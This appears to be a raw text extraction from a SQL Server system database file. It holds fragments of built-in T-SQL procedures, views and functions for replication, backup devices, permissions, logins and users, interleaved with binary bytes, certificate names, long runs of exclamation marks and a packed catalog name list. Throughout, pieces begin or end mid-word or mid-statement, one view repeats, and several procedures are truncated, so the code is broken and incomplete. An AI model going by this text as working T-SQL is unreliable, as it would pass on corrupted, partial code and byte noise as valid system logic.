	-- sysadmin or db_owner have access

	if is_srvrolemember('sysadmin') <> 1 and 
			is_member('db_owner') <> 1
	begin
		raiserror(14260, 16, -1)
		return (1)
	end

	execute @retcode = sys.sp_MSgetreplnick @replnick = @replnick output
	if (@@error <> 0) or @retcode <> 0 or @replnick IS NULL 
		begin
		RAISERROR (14055, 11, -1)
		RETURN(1)
		end					

	if @owner_name is NULL
	begin
		select @owner_name = SCHEMA_NAME(schema_id) from sys.objects where name = @table_name
	end
	set @qualified_table_name = QUOTENAME(@owner_name) + '.' + QUOTENAME(@table_name)
	
	set @objid = object_id(@qualified_table_name)
	if @objid is NULL return (1)
	select top 1 @tablenick = nickname, @coltrack = column_tracking, @artid = artid
	from dbo.sysmergearticles where objid = @objid
	order by column_tracking desc
	
	if @coltrack = 1
		set @colv = 0xFF
	else
		set @colv = NULL
	set @lineage = { fn UPDATELINEAGE(0x0, @replnick, 1) }

	set @tablenickstr = convert(nchar, @tablenick)
	select @marker = newid()
	
	if @filter_clause is null
		select @filter_clause = N''
		
	begin tran
	save tran addtabletocontents

	if @filter_clause is null or @filter_clause = N''
	begin
		select @command = 'insert into dbo.MSmerge_contents (tablenick, rowguid, generation, partchangegen, lineage, colv1, marker)
				select @tablenick, rowguidcol, @gen, (-@gen), @lineage, @colv, @marker
				from ' + @qualified_table_name + ' 
				where rowguidcol not in (select rowguid from dbo.MSmerge_contents where tablenick = @tablenick)'
	end
	else
	begin
		select @command = 'insert into dbo.MSmerge_contents (tablenick, rowguid, generation, partchangegen, lineage, colv1, marker)
				select @tablenick, rowguidcol, @gen, (-@gen), @lineage, @colv, @marker
				from ' + @qualified_table_name + ' 
				where (' + @filter_clause + ')
				and rowguidcol not in (select rowguid from dbo.MSmerge_contents where tablenick = @tablenick)'
	end
	
	exec @retcode = sys.sp_MSmerge_getgencur @tablenick = @tablenick, @changecount = 0, @gen_cur = @gen output
	if @@error <> 0 or @retcode <> 0
		goto Error
	
	exec @retcode = sys.sp_executesql @command, 
						N'@tablenick int, @gen bigint, @lineage varbinary(311), @colv varbinary(2953), @marker uniqueidentifier',
						@tablenick = @tablenick, @gen = @gen, @lineage = @lineage, @colv = @colv, @marker = @marker
	if @@error <> 0 or @retcode <> 0
		goto Error
		
	exec @retcode = sys.sp_MSevaluate_change_membership_for_row @tablenick = @tablenick, @marker = @marker
	if @@error <> 0 or @retcode <> 0
		goto Error
		
	exec @retcode = sys.sp_MSevaluate_logicalrecordparent_allcontentsrows @artid = @artid
	if @@error <> 0 or @retcode <> 0
		goto Error
		
	commit tran
	
	return 0

Error:

	rollback tran addtabletocontents
	commit tran
	
	return 1
end
node_id from sys.dm_tran_commit_table
[
[
+`PE<=(;0s 8CREATE FUNCTION sys.fn_translate_permissions
                 ( @level nvarchar(60), @perms varbinary(16))
RETURNS table
AS
RETURN (
        SELECT * FROM OpenRowset(TABLE TRANSLATEPERMISSIONS, @level, @perms)
       )
0$ 	8create procedure sys.sp_addumpdevice	-- 1995/09/07 12:01
	@devtype varchar(20),				-- disk, tape, or virtual_device
	@logicalname   sysname,				-- logical name of the device
	@physicalname  nvarchar(260),		-- physical name of the device
	@cntrltype  smallint = null,		-- obsolete: controller type - ignored.
	@devstatus  varchar(40) = null      -- obsolete: device characteristics -ignored
as
	declare @type_enum	smallint -- devtype enumeration value
	declare @returncode int
	declare @devtypeIn varchar(20)
	select @devtypeIn = @devtype
		   ,@devtype = LOWER (@devtype collate Latin1_General_CI_AS)
	-- An open txn might jeopardize a recovery.
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_addumpdevice')
		return (1)
	end

	-- You must be SA to execute this sproc.
	if (not is_srvrolemember('diskadmin') = 1)
	begin
		raiserror(15247,-1,-1)
		return (1)
	end

	-- Check out the @devtype.
	select @type_enum = (case @devtype
		when 'disk'				then 2
		when 'tape'				then 5
		when 'virtual_device'	then 7
		end)

	if @type_enum is null
	begin
		raiserror(15044,-1,-1,@devtypeIn)
		return (1)
	end

	-- Check the args are not NULL.
	if @logicalname is null
	begin
		raiserror(15045,-1,-1)
		return(1)
	end

	-- Check to see that the @logicalname is valid.
	EXEC @returncode = sys.sp_validname @logicalname
	if @returncode <> 0
		return(1)

	if @physicalname is null
	begin
		raiserror(15046,-1,-1)
		return(1)
	end

	-- Prohibit certain special english words from being logical names.
	if (@logicalname IN ('disk', 'tape', 'virtual_device'))
	begin
		raiserror(15285,-1,-1,@logicalname)
		return (1)
	end

	BEGIN TRANSACTION
	-- Make sure that a device with @logicalname doesn't already exist.
	--  Always turn on the dump status bit, ignore @skip_tape (not in use)
	EXEC %%Device().NewDevice(Name = @logicalname, PhysicalName = @physicalname,
		Type = @type_enum, Size = 0)
	if @@error <> 0	-- duplicate logical name
	begin
		ROLLBACK TRANSACTION
		raiserror(15026,-1,-1,@logicalname)
		return (1)
	end

	-- Make sure physical file name would be unique among devices.
	if (select count(*) from master.dbo.sysdevices where phyname = @physicalname) > 1
	begin
		ROLLBACK TRANSACTION
		raiserror(15061,-1,-1,@physicalname)
		return (1)
	end

	COMMIT TRANSACTION

	return (0) -- sp_addumpdevice
0;$ 8CREATE PROCEDURE sys.sp_get_distributor 
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @retcode 					tinyint,
    		@has_access 				bit,
			@proc						nvarchar(4000),
			@cmd						nvarchar(4000),
			@database					sysname,
			@is_distdb					bit,
			@distributor 				sysname,
    		@installed 					bit,
    		@distdb_installed 			bit,
    		@is_distpublisher 			bit,
    		@has_remote_distpublisher 	bit
    
	SELECT @has_access					= 0,
			@proc						= NULL,
			@cmd						= NULL,
			@database					= NULL,
			@distributor 				= NULL,
    		@installed 					= 0,
    		@distdb_installed 			= 0,
    		@is_distpublisher 			= 0,
    		@has_remote_distpublisher 	= 0
	
	-- sysadmin can view any information
	IF IS_SRVROLEMEMBER('sysadmin') = 1
		SELECT @has_access = 1
	
	-- In this section, if we don't have access yet, we will go 
	-- through all publisher and distribution databases and check
	-- what permissions a user has to determine if they have access
	IF @has_access = 0
	BEGIN
		DECLARE #curDbs CURSOR LOCAL FAST_FORWARD FOR
			SELECT sys.fn_MSrepl_isdistdb(name),
					name
				FROM master..sysdatabases
				WHERE HAS_DBACCESS(name) = 1
					AND name NOT IN ( N'master' COLLATE DATABASE_DEFAULT,
										N'tempdb' COLLATE DATABASE_DEFAULT,
										N'msdb'   COLLATE DATABASE_DEFAULT,
										N'model'   COLLATE DATABASE_DEFAULT)
					AND (sys.fn_MSrepl_ispublished(name) = 1
						OR sys.fn_MSrepl_isdistdb(name) = 1)
		OPEN #curDbs

		FETCH #curDbs INTO @is_distdb, @database
		
		WHILE (@@FETCH_STATUS = 0)
		BEGIN
			IF @is_distdb = 1
			BEGIN
				-- DISTRIBUTION DATABASES
				--
				-- Check if the user is DBO of Distribution DB or in ReplMonitor 
				-- or PAL in hetero. If so we will grant them access to the info
				SELECT @proc = QUOTENAME(@database) + '.sys.sp_executesql',
						@cmd = N'IF IS_MEMBER(N''db_owner'') = 1 OR ISNULL(IS_MEMBER(N''replmonitor''), 0) = 1 OR sys.fn_isrolemember(0, SUSER_SNAME(), NULL) = 1 BEGIN SELECT @has_access = 1 END ELSE BEGIN SELECT @has_access = 0 END'

				EXEC @retcode = @proc @cmd,
										N'@has_access bit output',
										@has_access output
				IF @@ERROR != 0 OR @retcode != 0
					GOTO FAILURE
			END
			ELSE
			BEGIN
				-- PUBLISHER DATABASES
				--
				-- Check if the user is DBO or PAL of MERGE or TRAN (no hetero)
				-- Published database. If so we will grant them access to the info
				SELECT @proc = QUOTENAME(@database) + '.sys.sp_executesql',
						@cmd = N'IF IS_MEMBER(N''db_owner'') = 1 OR sys.fn_isrolemember(0, SUSER_SNAME(), NULL) = 1 BEGIN SELECT @has_access = 1 END ELSE BEGIN SELECT @has_access = 0 END'

				EXEC @retcode = @proc @cmd,
										N'@has_access bit output',
										@has_access output
				IF @@ERROR != 0 OR @retcode != 0
					GOTO FAILURE
			END

			IF @has_access = 1
				BREAK

			FETCH #curDbs INTO @is_distdb, @database
		END

		CLOSE #curDbs
		DEALLOCATE #curDbs
	END

	-- if the user has access then we will retrieve
	-- the information... if not then we return NULLs
	IF @has_access = 1
	BEGIN
		SELECT @distributor = datasource 
    		FROM master.dbo.sysservers
			WHERE srvstatus & 8 <> 0

		IF @distributor IS NOT NULL
    		SELECT @installed = 1

		IF UPPER(@distributor) = UPPER(@@SERVERNAME)
		BEGIN
			IF EXISTS (SELECT * FROM msdb.dbo.MSdistributiondbs) 
				SELECT @distdb_installed = 1
			
			IF EXISTS (SELECT * FROM msdb..MSdistpublishers WHERE UPPER(name) = UPPER(@@SERVERNAME) COLLATE database_default)
				SELECT @is_distpublisher = 1
			
			IF EXISTS (SELECT * FROM msdb..MSdistpublishers WHERE UPPER(name) <> UPPER(@@SERVERNAME) COLLATE database_default)
				SELECT @has_remote_distpublisher = 1
		END
	END

    SELECT 'installed'							= @installed, 
			'distribution server'				= @distributor,
            'distribution db installed'			= @distdb_installed,
            'is distribution publisher'			= @is_distpublisher,
            'has remote distribution publisher' = @has_remote_distpublisher

	RETURN 0
FAILURE:
	RETURN 1
END
ETURN (1)
	    END
	    
	    IF EXISTS
	    (
	    	SELECT	*
	    	FROM	syssubscriptions
	    	WHERE	srvid != -1
	    	  AND	artid IN 
	                (
	                	SELECT	artid
	                	FROM	sysextendedarticlesview
	                	WHERE	pubid = @tran_pubid
	                )
		)
		BEGIN
			SET @result = 1
		END
	END

	SELECT @result
	RETURN (0)
END
bject_id, 'IsProcedure')),
        name                = s_p.name,
        parameter_id        = s_p.parameter_id,
        system_type_id      = s_p.system_type_id,
        user_type_id        = s_p.user_type_id,
        "precision"         = s_p.precision,
        scale               = s_p.scale,
        -- OLEDB spec requires 0 when type size is unlimitted
        max_length          = (case s_p.max_length when -1 then 0 else s_p.max_length end),
        is_output           = s_p.is_output,
        has_default_value   = s_p.has_default_value,
        default_value       = s_p.default_value,
        xml_collection_id   = s_p.xml_collection_id
    from
        sys.parameters$ s_p
b"
b` <*>-D6B02`@ 8CREATE VIEW sys.server_audits$ AS
	SELECT
		au.id AS audit_id,
		au.name AS name,
		g.guid AS audit_guid,
		au.created AS create_date,
		au.modified AS modify_date,
		r.indepid AS principal_id,
		au.type AS type,
		n.name AS type_desc,
		convert(tinyint, au.intprop) AS on_failure,
		pv.name AS on_failure_desc,
		sysconv(bit, sysconv (int, au.status) & 0x1) AS is_state_enabled,
		sysconv(int, qd.value) AS queue_delay,
		au.status AS status,
		convert(nvarchar(3000), pd.value) AS predicate
	FROM master.sys.sysclsobjs au
	LEFT JOIN master.sys.sysguidrefs g ON g.class = 5 AND g.id= au.id AND g.subid = 0  -- GRC_AUDITGUID
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = au.id AND r.class = 69 AND r.depsubid = 0	-- SRC_AUDITOWNER
	LEFT JOIN master.sys.sysobjvalues qd ON qd.valclass = 38 AND qd.objid = au.id AND qd.subobjid = 0 AND qd.valnum = 1 -- SVC_AUDITPROPS/AUDIT_QUEUE_DELAY
	LEFT JOIN master.sys.sysobjvalues pd ON pd.valclass = 38 AND pd.objid = au.id AND pd.subobjid = 0 AND pd.valnum = 2 -- SVC_AUDITPROPS/AUDIT_PREDICATE	
	LEFT JOIN sys.syspalnames n ON n.class = 'AULT' AND n.value = au.type
	LEFT JOIN sys.syspalvalues pv ON pv.class = 'AUSD' AND pv.value = au.intprop
	WHERE au.class = 64 -- SOC_SECAUDIT
		AND has_access('SA', 0) = 1
0p !8CREATE FUNCTION sys.fn_my_permissions(@entity sysname, @class nvarchar(60)) 
RETURNS @myperms table (
			entity_name sysname		NULL, 
			subentity_name sysname	NULL, 
			permission_name nvarchar(60))
AS
    BEGIN
	IF (LOWER(@class) = 'database')
	    SET @entity = NULL
	IF (@class IS NULL or len(@class) = 0)
	    SET @class = 'server'	

	DECLARE @pseudoclass sysname
	IF (LOWER(@class) = 'server')
	    SET @pseudoclass = NULL
	ELSE 
	    SET @pseudoclass = @class

	DECLARE @entityname sysname
	SET @entityname = CASE LOWER(@class)
			    WHEN 'server' THEN 'server'
			    WHEN 'database' THEN 'database'
			    ELSE @entity
			  END
	IF (LOWER(@class) = 'server')
	    SET @pseudoclass = NULL
	ELSE 
	    SET @pseudoclass = @class

	-- Get Entity Level Permissions	
	INSERT INTO @myperms	
	    SELECT @entityname, '', fbp.permission_name
	    FROM sys.fn_builtin_permissions(@class) AS fbp
	    WHERE has_perms_by_name(@entity, @pseudoclass, fbp.permission_name) <> 0

	-- Get Sub Entity Level Permissions	
	IF (LOWER(@class) = 'object')
	    BEGIN
		DECLARE @objId int
		DECLARE @thisPerm sysname
		
		SELECT @objId = object_id(@entity)

		INSERT INTO @myperms
		    SELECT @entity, name, 'SELECT'
		    FROM sys.columns where object_id = @objId AND
			has_perms_by_name(@entity, 'object', 'select', name, 'column') <> 0
			
		INSERT INTO @myperms
		    SELECT @entity, name, 'UPDATE'
		    FROM sys.columns where object_id = @objId AND
			has_perms_by_name(@entity, 'object', 'update', name, 'column') <> 0
			
		INSERT INTO @myperms
		    SELECT @entity, name, 'REFERENCES'
		    FROM sys.columns where object_id = @objId AND
			has_perms_by_name(@entity, 'object', 'references', name, 'column') <> 0
	    end
	RETURN
    END
0@ 8CREATE VIEW sys.dm_os_memory_cache_entries AS
	SELECT *
	FROM OpenRowset(TABLE SYSMEMORYCACHEENTRIES)
0[5a 8 
-- add it
create view sys.dm_pdw_nodes_os_waiting_tasks as
select *, convert(int, null) pdw_node_id from sys.dm_os_waiting_tasks
0 I8
create procedure sys.sp_assemblies_rowset2
(
    @assembly_schema    sysname = null,
    @assembly_id        int = null
)
as
    select
        ASSEMBLY_CATALOG    = db_name(),
        ASSEMBLY_SCHEMA     = user_name(a.principal_id),
        ASSEMBLY_NAME       = a.name,
        ASSEMBLY_ID         = convert(int,a.assembly_id),
        PERMISSION_SET      = convert(NVARCHAR(30),
                                    case a.permission_set
                                    when 1 then 'SAFE'
                                    when 2 then 'EXTERNAL_ACCESS'
                                    when 3 then 'UNSAFE'
                                    end),
        ASSEMBLY_BINARY     = af.content
    from
        sys.assemblies a inner join
        sys.assembly_files af on
            (
                af.assembly_id = a.assembly_id
            )
    where
        (@assembly_schema is null or @assembly_schema = user_name(a.principal_id)) and
        (@assembly_id is null or @assembly_id = a.assembly_id)
    order by 1, 2, 3
0N 
8create function sys.fn_updateparameterwithargument(
    @command nvarchar(3200),
    @parameter nvarchar(200),
    @argument  nvarchar(1000)
    ) returns nvarchar(3200)
begin
    declare @pattern nvarchar(806)
    declare @resulting_command nvarchar(3200)
    declare @command_length int
    declare @pattern_start int
    declare @first_iteration bit
    declare @parameter_length int
    declare @found_parameter bit
    
    select @first_iteration = 1
    select @found_parameter = 0
    select @pattern = sys.fn_generateparameterpattern(@parameter)
    select @parameter_length = len(@parameter) + 1 -- leading - or /

    select @resulting_command = N''
    select @pattern_start = patindex(@pattern,@command)
        
    if @argument is null
    begin
        select @argument = N''
    end

    while @pattern_start <> 0 and @pattern_start is not null
    begin
        select @command_length = len(@command)

        -- Check if the pattern found is properly delimited in the command,
        -- If so, try to change the argument of the parameter with the given
        -- value.
        if (@pattern_start = 1 and @first_iteration = 1 or
            (@pattern_start > 1 and sys.fn_chariswhitespace(substring(@command, @pattern_start - 1, 1)) = 1)) and
            (sys.fn_chariswhitespace(substring(@command, @pattern_start + @parameter_length, 1)) = 1)
        begin

            -- Add everything before the parameter to the resulting command
            select @resulting_command = @resulting_command + rtrim(substring(@command, 1, @pattern_start - 1))

            -- Add back the parameter with the specified argument
            if @resulting_command <> ''
            begin
                select @resulting_command = @resulting_command + N' '
            end
            select @resulting_command = @resulting_command + N'-' + @parameter + N' ' + rtrim(ltrim(@argument)) + ' '

            -- Remove the leading part of the command up to the begining of the
            -- matching pattern
            select @command = substring(@command, @pattern_start, @command_length - @pattern_start + 1)

            -- Remove all traces of the specified parameter from the remaining
            -- command line
            select @command = sys.fn_removeparameterwithargument(@command, @parameter)
            select @found_parameter = 1
        end
        else
        begin
            -- Not a properly delimited parameter so transfer the 
            -- matching substring to the resulting command and
            -- eat the substring in the process
            select @resulting_command = @resulting_command + substring(@command, 1, @pattern_start + @parameter_length - 1)
            select @command = substring(@command, @pattern_start + @parameter_length, @command_length - @pattern_start - @parameter_length + 1)
        end

        select @first_iteration = 0
        select @pattern_start = patindex(@pattern, @command)
    end

    select @resulting_command = @resulting_command + @command

    if @found_parameter = 0
    begin
        select @resulting_command = rtrim(@resulting_command) + N' ' + N'-' +
               @parameter + N' ' + rtrim(ltrim(@argument)) 
    end
    return @resulting_command
end
W
~(
`;	<y?\J08 08create procedure sys.sp_helpuser  --- 1996/08/14 10:33
    @name_in_db       sysname    = NULL --User,Alias
AS

set nocount on
set ansi_warnings off

declare
    @RetCode               int
   ,@_rowcount             int

declare
    @charMaxLen_UsName     varchar(11)
   ,@charMaxLen_RlName     varchar(11)
   ,@charMaxLen_LoName     varchar(11)
   ,@charMaxLen_DbName     varchar(11)
   ,@charMaxLen_ScName     varchar(11)

declare
    @Name1Type             char(2)

-----------------------  create holding table  --------------------
/*Create temp table before any DML to ensure dynamic*/

CREATE TABLE #tb1_uga
   (
    zUserName        sysname        collate catalog_default Null
   ,zRoleName        sysname        collate catalog_default Null
   ,zLoginName       sysname        collate catalog_default Null
   ,zDefDBName       sysname        collate catalog_default Null
   ,zDefScName   sysname        collate catalog_default Null
   ,zUID             int		Null
   ,zSID             varbinary(85)  Null
   )

--------

select
    @RetCode               = 0
   ,@Name1Type             = Null


-------------  What type of value (U,G,A) was input?  --------------

-------- NULL

IF (@name_in_db IS Null)
   begin

   select @Name1Type = '-'


   INSERT into  #tb1_uga
               (
                zUserName
               ,zRoleName
               ,zLoginName
               ,zDefDBName
               ,zDefScName
               ,zUID
               ,zSID
               )
      select
                   u.name
                  ,case when (r.principal_id is null) then 'public'
				else r.name
			end
                  ,l.name
                  ,l.default_database_name
                  ,u.default_schema_name
                  ,u.principal_id
                  ,u.sid
         from sys.database_principals u
         left join (sys.database_role_members m join sys.database_principals r on m.role_principal_id = r.principal_id) on m.member_principal_id = u.principal_id
         left join sys.server_principals l on u.sid = l.sid
         where u.type <> 'R'


   GOTO LABEL_25NAME1TYPEKNOWN

   end


-------- USER

INSERT   into   #tb1_uga
               (
                zUserName
               ,zRoleName
               ,zLoginName
               ,zDefDBName
               ,zDefScName
               ,zUID
               ,zSID
               )
      select
                   u.name
                  ,case when (r.principal_id is null) then 'public'
				else r.name
			end
                  ,l.name
                  ,l.default_database_name
                  ,u.default_schema_name
                  ,u.principal_id
                  ,u.sid
	from sys.database_principals u
         left join (sys.database_role_members m join sys.database_principals r on m.role_principal_id = r.principal_id) on u.principal_id = m.member_principal_id
         left join sys.server_principals l on u.sid = l.sid
	where u.name = @name_in_db and u.type <> 'R'

select @_rowcount = @@rowcount


IF (@_rowcount > 0)
   begin
   select @Name1Type = 'US'

   GOTO LABEL_25NAME1TYPEKNOWN

   end

-------- ROLES

if exists (select * from sys.database_principals where  name = @name_in_db and type = 'R')
   begin
   select @Name1Type = 'RL'

   select Role_name = substring(r.name, 1, 25), Role_id = r.principal_id,
	   Users_in_role = substring(u.name, 1, 25), Userid = u.principal_id
	from sys.database_principals u, sys.database_principals r, sys.database_role_members m
	where r.name = @name_in_db
		and r.principal_id = m.role_principal_id
		and u.principal_id = m.member_principal_id
	order by 1, 2

   GOTO LABEL_75FINAL  --Done

   end


-------- Error
raiserror(15198,-1,-1 ,@name_in_db)  --Input Name is unfound
select @RetCode = @RetCode | 1

GOTO LABEL_75FINAL

--------


LABEL_25NAME1TYPEKNOWN:


-----------------------  Printout the report  -------------------------

-------- Preparations for dynamic exec

select
          @charMaxLen_UsName  = convert( varchar,
                  isnull( max( datalength( zUserName)),8))

         ,@charMaxLen_RlName  = convert( varchar,
                  isnull( max( datalength( zRoleName)),9))

         ,@charMaxLen_LoName  = convert( varchar,
                  isnull( max( datalength( zLoginName)),9))

         ,@charMaxLen_DbName  = convert( varchar,
                  isnull( max( datalength( zDefDBName)),9))

         ,@charMaxLen_ScName  = convert( varchar,
                  isnull( max( datalength( zDefScName)),9))
   from
          #tb1_uga


-------- Dynamic EXEC() to printout report


EXECUTE(
'
select
             ''UserName''  =
                     substring(zUserName ,1,' + @charMaxLen_UsName + ')

            ,''RoleName'' =
                     substring(zRoleName,1,' + @charMaxLen_RlName + ')

            ,''LoginName'' =
                     substring(zLoginName,1,' + @charMaxLen_LoName + ')

            ,''DefDBName'' =
                     substring(zDefDBName,1,' + @charMaxLen_DbName + ')

            ,''DefSchemaName'' =
                     substring(zDefScName,1,' + @charMaxLen_ScName + ')

            ,''UserID''    = convert(char(10),zUID)

            ,''SID''   = zSID
      from
             #tb1_uga
      order by
             1
'
)

-----------------------  Finalization  ----------------------


LABEL_75FINAL:


IF (object_id('tempdb..#tb1_uga') IS not Null)
            DROP TABLE #tb1_uga

return @RetCode -- sp_helpuser
0h@ z8CREATE VIEW sys.dm_os_sys_memory AS
	SELECT *
	FROM OpenRowSet(TABLE DM_OS_SYS_MEMORY)
0T o8create function sys.fn_secondstohms
(
	@seconds bigint
) returns nvarchar(20)
as
begin
	declare @hms		nvarchar(20),
			@hours		int,
			@minutes	int

	-- calculate the number of hours, minutes and seconds 
	select @hours = @seconds/3600,
			@minutes = (@seconds/60) - (@hours * 60),
			@seconds = @seconds - ((@hours * 3600) + (@minutes * 60))

	-- be sure to format the time properly if the part is < 10
	if @hours < 10
		select @hms = N'0' + cast(@hours as nvarchar)
	else
		select @hms = cast(@hours as nvarchar)

	if @minutes < 10
		select @hms = @hms + N':0' + cast(@minutes as nvarchar)
	else
		select @hms = @hms + N':' + cast(@minutes as nvarchar)
	
	if @seconds < 10
		select @hms = @hms + N':0' + cast(@seconds as nvarchar)
	else
		select @hms = @hms + N':' + cast(@seconds as nvarchar)

	return @hms
end
_dbid, 0) <> 0)
	begin
		raiserror(15658,-1,-1)
		return (1)
	end
	
	--
	-- Must already be suspect.  4 is SUSPECT state.
	--
	if (@state <> 4) 
	begin
		raiserror(15056,-1,-1,@DBName)
		return (1)
	end

	-- Note: database @DBName may not exist anymore
	-- If invoke gets error, exception will abort this proc.
	EXEC %%DatabaseRef(Name = @DBName).SetSuspect(Value = 0)

	-- Warning: You must recover this database prior to access.
	raiserror(15074,-1,-1)

	return (0) -- sp_resetstatus
0h@ z8CREATE VIEW sys.dm_os_sys_memory AS
	SELECT *
	FROM OpenRowSet(TABLE DM_OS_SYS_MEMORY)

`+	@]\&eQ##MS_SQLResourceSigningCertificate##&fW##MS_SQLReplicationSigningCertificate##&gM##MS_SQLAuthenticatorCertificate##&iG##MS_PolicySigningCertificate##&jQ##MS_SmoExtendedSigningCertificate##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}`
Z-EOE^D8!!!!`4
]_"
F]k7z&,,internal_tables&j,key_constraints&/,key_encryptions&"(linked_logins&bb$login_token&(&master_files&
6master_key_passwords&"`message_type_xml_schema_collection_usages&messages&c messages$&:module_assembly_usages&]Hnumbered_procedure_parameters&^4numbered_procedures&v%6numbered_procedures$&l obd_state&objects&objects$&6?openkeys& 8parameter_type_usages&#Zparameter_xml_schema_collection_usages&w"parameters&E$parameters$&O4partition_functions&N6partition_parameters&M:partition_range_values&J0partition_schemes&q"partitions&$plan_guides&e"procedures&Xv@queue_messages_1977058079&x@queue_messages_2009058193&<8z@queue_messages_2041058307&Fregistered_search_properties&Nregistered_search_property_lists&#(remote_logins&4<remote_service_bindings&Lresource_governor_configuration&^resource_governor_resource_pool_affinity&Nresource_governor_resource_pools&Presource_governor_workload_groups&3routes* sac_state&Wschemas&0securable_classes&Jselective_xml_index_namespaces&@selective_xml_index_paths& sequences&<server_assembly_modules&Rserver_audit_specification_details&Dserver_audit_specifications&(server_audits&2`*server_audits$&Bserver_event_notifications&Fserver_event_session_actions&Dserver_event_session_events&Dserver_event_session_fields&Fserver_event_session_targets&8server_event_sessions&(server_events&2server_file_audits&%2server_permissions&Fserver_principal_credentials&'0server_principals&&4server_role_members&2server_sql_modules&8server_trigger_events&,server_triggers&$servers&>service_broker_endpoints&ELservice_contract_message_usages&C<service_contract_usages&F0service_contracts&Y!2service_contracts$&G8service_message_types&J.role_permissions&"q2PlanarTessellation&2PlanarGridCoverage&W:pdw_loader_backup_runs&{t8pdw_loader_run_stages&N0pdw_distributions&L^Dpdw_health_component_groups&Yj8pdw_health_components&0Lpdw_health_component_properties&Vpdw_health_component_status_mappings&e)0pdw_health_alerts&Sp0pdw_diag_sessions&1,pdw_diag_events&W|@pdw_diag_event_properties&`Rpdw_column_distribution_properties&5Ppdw_table_distribution_properties&T2pdw_table_mappings&bt2pdw_index_mappings&G8pdw_database_mappings&֬Hpdw_loader_backup_run_details&hORMask& sac_state!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!b2lP$


V

L~8


`

		r	(	RZb",\<^(D|N~:
fB ppR6d*
V0`<(GvWcreate procedure sys.sp_helplogins  --- 1996/08/12 14:34

    @LoginNamePattern     sysname    = NULL
AS

set nocount on

declare
		@exec_stmt nvarchar(3550)

declare
       @RetCode                        int
      ,@CountSkipPossUsers             int
      ,@Int1                           int

declare
       @c10DBName                      sysname
      ,@c10DBStatus                    int
      ,@c10DBSID                       varbinary(85)

declare
       @charMaxLenLoginName            varchar(11)
      ,@charMaxLenDBName               varchar(11)
      ,@charMaxLenUserName             varchar(11)
      ,@charMaxLenLangName             varchar(11)

declare
       @DBOptLoading                   int   --0x0020      32  "DoNotRecover"
      ,@DBOptPreRecovery               int   --0x0040      64
      ,@DBOptRecovering                int   --0x0080     128

      ,@DBOptSuspect                   int   --0x0100     256  ("not recovered")
      ,@DBOptOffline                   int   --0x0200     512
      ,@DBOptDBOUseOnly                int   --0x0800    2048

      ,@DBOptSingleUser                int   --0x1000    4096


-------------  create work holding tables  ----------------
-- Create temp tables before any DML to ensure dynamic

CREATE TABLE #tb2_PlainLogins
   (
    LoginName                       sysname        collate catalog_default NOT Null
   ,SID                             varchar(85)    collate catalog_default NOT Null
   ,DefDBName                       sysname	       collate catalog_default Null
   ,DefLangName                     sysname        collate catalog_default Null
   ,AUser                           char(5)        collate catalog_default Null
   ,ARemote                         char(7)        collate catalog_default Null
   )

CREATE TABLE #tb1_UA
   (
    LoginName                       sysname		collate catalog_default NOT Null
   ,DBName                          sysname		collate catalog_default NOT Null
   ,UserName                        sysname		collate catalog_default NOT Null
   ,UserOrAlias                     char(8)		collate catalog_default NOT Null
   )

----------------  Initial data values  -------------------

select
       @RetCode                        = 0  -- 0=good ,1=bad
